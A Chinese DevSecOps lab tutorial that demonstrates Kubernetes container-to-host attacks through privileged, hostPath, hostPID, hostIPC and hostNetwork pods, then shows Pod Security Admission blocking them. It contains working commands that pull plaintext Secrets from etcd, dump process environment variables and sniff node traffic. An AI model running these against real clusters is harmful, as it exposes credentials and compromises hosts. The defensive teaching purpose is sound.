《OpenShift / RHEL / DevSecOps 汇总目录》
本文将演示如何利用在 Kubernetes 中容器的 privileged、hostpath、hostpid、hostipc、hostnetwork 配置实现对容器或宿主机的攻击,包括获得敏感数据、杀掉关键进程等。
由于 OpenShift 缺省自带较高的安全防护,因此为了容易演示相关场景,本文没有采用 OpenShift 而使用的是 killercoda 网站的免费 Kubernetes 环境。
$ kubectl get node -owide
NAME STATUS ROLES AGE VERSION INTERNAL-IP EXTERNAL-IP OS-IMAGE KERNEL-VERSION CONTAINER-RUNTIME
controlplane Ready control-plane 41d v1.28.1 172.30.1.2 <none> Ubuntu 20.04.5 LTS 5.4.0-131-generic containerd://1.6.12
node01 Ready <none> 41d v1.28.1 172.30.2.2 <none> Ubuntu 20.04.5 LTS 5.4.0-131-generic containerd://1.6.12
$ kubectl create namespace pod-security
$ kubectl config set-context --current --namespace=pod-security
$ kubectl create secret generic my-secret \
--from-literal=username=myadmin \
--from-literal=password='mypass'
$ mkdir /test && ls /
bin boot dev etc home lib lib32 lib64 libx32 lost+found media mnt opt proc root run sbin snap srv swapfile sys test tmp usr var
当 privileged 设为 true 时容器会以特权运行,而 hostPID 设置为 true 后就可以在 pod 中看宿主机的所有 pid 进程,并允许进入这些进程的命名空间。
$ cat << EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
name: priv-hostpid-pod
spec:
hostPID: true
containers:
- name: priv-hostpid
image: ubuntu
tty: true
securityContext:
privileged: true
command: [ "nsenter", "--target", "1", "--mount", "--uts", "--ipc", "--net", "--pid", "--", "bash" ]
nodeName: controlplane
EOF
$ kubectl get pod priv-hostpid-pod
NAME READY STATUS RESTARTS AGE
priv-hostpid-pod 1/1 Running 0 47s
$ kubectl exec -it priv-hostpid-pod -- strings /var/lib/etcd/member/snap/db | grep my-secret -A 10
#/registry/secrets/default/my-secret
Secret
my-secret
default"
*$e4c9c62d-0cb2-4d81-ba0c-c23c0b3b9bc92
kubectl-create
Update
FieldsV1:A
?{"f:data":{".":{},"f:password":{},"f:username":{}},"f:type":{}}B
password
mypass
username
myadmin
当 privileged 设为 true 时容器会以特权运行,这样可以从容器中访问宿主机的任何设备。
$ cat << EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
name: priv-pod
spec:
containers:
- name: priv
image: redhat/ubi8-init
securityContext:
privileged: true
command: [ "/bin/sh", "-c", "--" ]
args: [ "while true; do sleep 30; done;" ]
nodeName: controlplane
EOF
$ kubectl get pod priv-pod
NAME READY STATUS RESTARTS AGE
priv-pod 1/1 Running 0 66s
$ kubectl exec -it priv-pod -- bash
[root@priv-pod /]# yum install binutils
[root@priv-pod /]# fdisk -l
。。。
Device Start End Sectors Size Type
/dev/vda1 227328 41943006 41715679 19.9G Linux filesystem
/dev/vda14 2048 10239 8192 4M BIOS boot
/dev/vda15 10240 227327 217088 106M EFI System
Partition table entries are not in disk order.
[root@priv-pod /]# mkdir /host
[root@priv-pod /]# mount /dev/vda1 /host/
[root@priv-pod /]# ls /host
bin boot dev etc home lib lib32 lib64 libx32 lost+found media mnt opt proc root run sbin snap srv swapfile sys test tmp usr var
[root@priv-pod /]# chroot /host
# strings /var/lib/etcd/member/snap/db | grep my-secret -A 10
#/registry/secrets/default/my-secret
Secret
my-secret
default"
*$054abb91-a986-4835-91f6-7ee0bbb0c4f52
kubectl-create
Update
FieldsV1:A
?{"f:data":{".":{},"f:password":{},"f:username":{}},"f:type":{}}B
password
mypass
username
myadmin
通过 hostpath 也可以将宿主机的 “/” 目录挂载到的 pod 中,从而获得宿主机文件系统的读/写权限。如果容器是运行在 master 节点上,则可访问 master 宿主机上未加密 ETCD 数据库中的敏感信息。
$ cat << EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
name: hostpath-pod
spec:
containers:
- name: hostpath
image: ubuntu
volumeMounts:
- mountPath: /host
name: noderoot
command: [ "/bin/sh", "-c", "--" ]
args: [ "while true; do sleep 30; done;" ]
nodeName: controlplane
volumes:
- name: noderoot
hostPath:
path: /
EOF
$ kubectl exec -it hostpath-pod -- chroot /host
# ls /
bin boot dev etc home lib lib32 lib64 libx32 lost+found media mnt opt proc root run sbin snap srv swapfile sys test tmp usr var
# strings /var/lib/etcd/member/snap/db | grep my-secret -A 10
#/registry/secrets/default/my-secret
Secret
my-secret
default"
*$7cc91580-3550-4732-8f35-75125e7978002
kubectl-create
Update
FieldsV1:A
?{"f:data":{".":{},"f:password":{},"f:username":{}},"f:type":{}}B
password
mypass
username
myadmin
当 Pod 的 hostpid 设为 true 后就可以在容器中不但可以看到所有宿主机的进程,还包括在 pod 中运行的进程以及 pod 的环境变量(/proc/[PID]/environ 文件)和 pod 的文件描述符(/proc/[PID]/fd[X])。可以在这些文件中获取到 Pod 使用的 Secret 敏感数据。另外,还可以通过 kill 进程来危害 Kubernetes 集群的运行。
$ cat << EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
name: hostpid-pod
spec:
hostPID: true
containers:
- name: hostpid
image: ubuntu
command: [ "/bin/sh", "-c", "--" ]
args: [ "while true; do sleep 30; done;" ]
nodeName: node01
EOF
$ cat << EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
name: mypasswd
spec:
containers:
- name: mysql
image: busybox
command: ['sh', '-c', 'echo "Hello, Kubernetes!" && sleep 1000']
env:
- name: MY_PASSWORD
valueFrom:
secretKeyRef:
name: my-secret
key: password
nodeName: node01
EOF
$ kubectl get pod hostpid-pod mypasswd-pod -o wide
NAME READY STATUS RESTARTS AGE IP NODE NOMINATED NODE READINESS GATES
hostpid-pod 1/1 Running 0 2m32s 192.168.1.3 node01 <none> <none>
mypasswd 1/1 Running 0 72s 192.168.1.4 node01 <none> <none>
$ kubectl exec -it hostpid-pod -- bash
root@hostpid-pod:/# for e in `ls /proc/*/environ`; do echo; echo $e; xargs -0 -L1 -a $e; done > envs.txt
root@hostpid-pod:/# cat envs.txt | grep MY_PASSWORD
MY_PASSWORD=mypass
当 Pod 的 hostpid 设为 true 后就可以在容器中访问到宿主机 IPC 命名空间,利用 IPC 可以访问到保存在宿主机共享内存中的数据。
$ cat << EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
name: hostipc-pod-1
spec:
hostIPC: true
containers:
- name: hostipc
image: ubuntu
command: [ "/bin/sh", "-c", "--" ]
args: [ "while true; do sleep 30; done;" ]
nodeName: node01
---
apiVersion: v1
kind: Pod
metadata:
name: hostipc-pod-2
spec:
hostIPC: true
containers:
- name: hostipc
image: ubuntu
command: [ "/bin/sh", "-c", "--" ]
args: [ "while true; do sleep 30; done;" ]
nodeName: node01
EOF
$ kubectl get pod hostipc-pod-1 hostipc-pod-2 -o wide
NAME READY STATUS RESTARTS AGE IP NODE NOMINATED NODE READINESS GATES
hostipc-pod-1 1/1 Running 0 37s 192.168.1.5 node01 <none> <none>
hostipc-pod-2 1/1 Running 0 37s 192.168.1.6 node01 <none> <none>
$ kubectl exec -it hostipc-pod-1 -- bash
root@hostipc-pod-1:/# echo "secretpassword" > /dev/shm/secretpassword.txt
$ kubectl exec -it hostipc-pod-2 -- more /dev/shm/secretpassword.txt
secretpassword
当 Pod 的 hostnetwork 为 true 时,pod 实际上用的是宿主机的网络地址空间:即 pod IP 是宿主机 IP,而非 cni 分配的 pod IP,端口是宿主机网络监听接口。由于 pod 的流量与宿主机的流量无法区分,因此也就无法对 Pod 应用常规的 Kubernetes 网络策略。
$ cat << EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
name: hostnetwork-pod
spec:
hostNetwork: true
containers:
- name: hostnetwork
image: ubuntu
command: [ "/bin/sh", "-c", "--" ]
args: [ "while true; do sleep 30; done;" ]
nodeName: node01
---
apiVersion: apps/v1
kind: Deployment
metadata:
name: nginx
spec:
replicas: 1
selector:
matchLabels:
app: nginx
template:
metadata:
labels:
app: nginx
spec:
containers:
- name: nginx
image: nginx
nodeName: node01
---
apiVersion: v1
kind: Service
metadata:
name: nginx
spec:
type: NodePort
ports:
- nodePort: 32222
port: 80
selector:
app: nginx
EOF
$ kubectl get pod -owide
NAME READY STATUS RESTARTS AGE IP NODE NOMINATED NODE READINESS GATES
hostnetwork-pod 1/1 Running 0 31m 172.30.2.2 node01 <none> <none>
nginx-55d65bdfb4-lmkvr 1/1 Running 0 4m33s 192.168.1.3 node01 <none> <none>
$ kubectl get svc nginx -ojsonpath={.spec.ports[0].nodePort}
32222
$ kubectl exec -it hostnetwork-pod -- bash
root@node01:/# apt update && apt -y install tcpdump lsof iproute2 net-tools
root@node01:/# tcpdump -s 0 -A 'tcp dst port 32222 and tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x47455420 or tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504F5354 or tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x48545450 or tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x3C21444F'
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on enp1s0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
$ curl -s 172.30.2.2:32222
<!DOCTYPE html>
<html>
<head>
<title>Welcome to nginx!</title>
<style>
html { color-scheme: light dark; }
body { width: 35em; margin: 0 auto;
font-family: Tahoma, Verdana, Arial, sans-serif; }
</style>
</head>
<body>
<h1>Welcome to nginx!</h1>
<p>If you see this page, the nginx web server is successfully installed and
working. Further configuration is required.</p>
<p>For online documentation and support please refer to
<a href="http://nginx.org/">nginx.org</a>.<br/>
Commercial support is available at
<a href="http://nginx.com/">nginx.com</a>.</p>
<p><em>Thank you for using nginx.</em></p>
</body>
</html>
15:44:04.194826 IP 10.244.4.60.40276 > 172.30.2.2.32222: Flags [P.], seq 3806426523:3806426603, ack 3523874175, win 511, options [nop,nop,TS val 2488373642 ecr 2936282096], length 80
E...p.@.<..1
..<.....T~I..u..
.............
.Q......GET / HTTP/1.1
Host: 172.30.2.2:32222
User-Agent: curl/7.68.0
Accept: */*
15:44:04.195068 IP 172.30.2.2.32222 > 10.244.4.60.40276: Flags [P.], seq 1:239, ack 80, win 506, options [nop,nop,TS val 2936282097 ecr 2488373642], length 238
E.."|.@.?.......
..<~I.T.
....u......d.....
.....Q..HTTP/1.1 200 OK
Server: nginx/1.25.2
Date: Wed, 18 Oct 2023 15:44:04 GMT
Content-Type: text/html
Content-Length: 615
Last-Modified: Tue, 15 Aug 2023 17:03:04 GMT
Connection: keep-alive
ETag: "64dbafc8-267"
Accept-Ranges: bytes
15:44:04.195283 IP 172.30.2.2.32222 > 10.244.4.60.40276: Flags [P.], seq 239:854, ack 80, win 506, options [nop,nop,TS val 2936282097 ecr 2488373642], length 615
E...|.@.?..W....
..<~I.T.
.m..u............
.....Q..<!DOCTYPE html>
>
>
>Welcome to nginx!
>
>
>
>Welcome to nginx!
>If you see this page, the nginx web server is successfully installed and
working. Further configuration is required.
>
>For online documentation and support please refer to
://nginx.org/">nginx.org>.
>
Commercial support is available at
://nginx.com/">nginx.com>.
>
>>Thank you for using nginx.>
>
>
>
$ kubectl get ns pod-security -ojsonpath={.metadata.labels} | jq
{
"kubernetes.io/metadata.name": "pod-security"
}
$ kubectl label --overwrite ns pod-security \
pod-security.kubernetes.io/warn=restricted \
pod-security.kubernetes.io/warn-version=latest
$ kubectl get ns pod-security -ojsonpath={.metadata.labels} | jq
{
"kubernetes.io/metadata.name": "pod-security",
"pod-security.kubernetes.io/warn": "restricted",
"pod-security.kubernetes.io/warn-version": "latest"
}
$ kubectl delete pod priv-pod
$ cat << EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
name: priv-pod
spec:
containers:
- name: priv
image: redhat/ubi8-init
securityContext:
privileged: true
command: [ "/bin/sh", "-c", "--" ]
args: [ "while true; do sleep 30; done;" ]
nodeName: controlplane
EOF
Warning: would violate PodSecurity "restricted:latest": privileged (container "priv" must not set securityContext.privileged=true), allowPrivilegeEscalation != false (container "priv" must set securityContext.allowPrivilegeEscalation=false), unrestricted capabilities (container "priv" must set securityContext.capabilities.drop=["ALL"]), runAsNonRoot != true (pod or container "priv" must set securityContext.runAsNonRoot=true), seccompProfile (pod or container "priv" must set securityContext.seccompProfile.type to "RuntimeDefault" or "Localhost")
pod/priv-pod created
$ kubectl get pod priv-pod
NAME READY STATUS RESTARTS AGE
priv-pod 1/1 Running 0 76s
$ kubectl edit ns pod-security
$ kubectl get ns pod-security -ojsonpath={.metadata.labels} | jq
{
"kubernetes.io/metadata.name": "pod-security",
"pod-security.kubernetes.io/enforce": "restricted",
"pod-security.kubernetes.io/warn-version": "latest"
}
$ kubectl delete pod priv-pod
$ cat << EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
name: priv-pod
spec:
containers:
- name: priv
image: redhat/ubi8-init
securityContext:
privileged: true
command: [ "/bin/sh", "-c", "--" ]
args: [ "while true; do sleep 30; done;" ]
nodeName: controlplane
EOF
Error from server (Forbidden): error when creating "STDIN": pods "priv-pod" is forbidden: violates PodSecurity "restricted:latest": privileged (container "priv" must not set securityContext.privileged=true), allowPrivilegeEscalation != false (container "priv" must set securityContext.allowPrivilegeEscalation=false), unrestricted capabilities (container "priv" must set securityContext.capabilities.drop=["ALL"]), runAsNonRoot != true (pod or container "priv" must set securityContext.runAsNonRoot=true), seccompProfile (pod or container "priv" must set securityContext.seccompProfile.type to "RuntimeDefault" or "Localhost")
$ kubectl get pod priv-pod
Error from server (NotFound): pods "priv-pod" not found
https://bishopfox.com/blog/kubernetes-pod-privilege-escalation
https://www.middlewareinventory.com/blog/tcpdump-capture-http-get-post-requests-apache-weblogic-websphere/
https://www.cnblogs.com/yechen2019/p/14690601.html
https://www.cnblogs.com/ericte/p/15569982.html
https://docs.starlingx.io/r/stx.7.0/security/kubernetes/pod-security-admission-controller-8e9e6994100f.html
https://kubernetes.io/docs/tutorials/security/cluster-level-pss/
https://kubernetes.io/docs/tasks/configure-pod-container/security-context/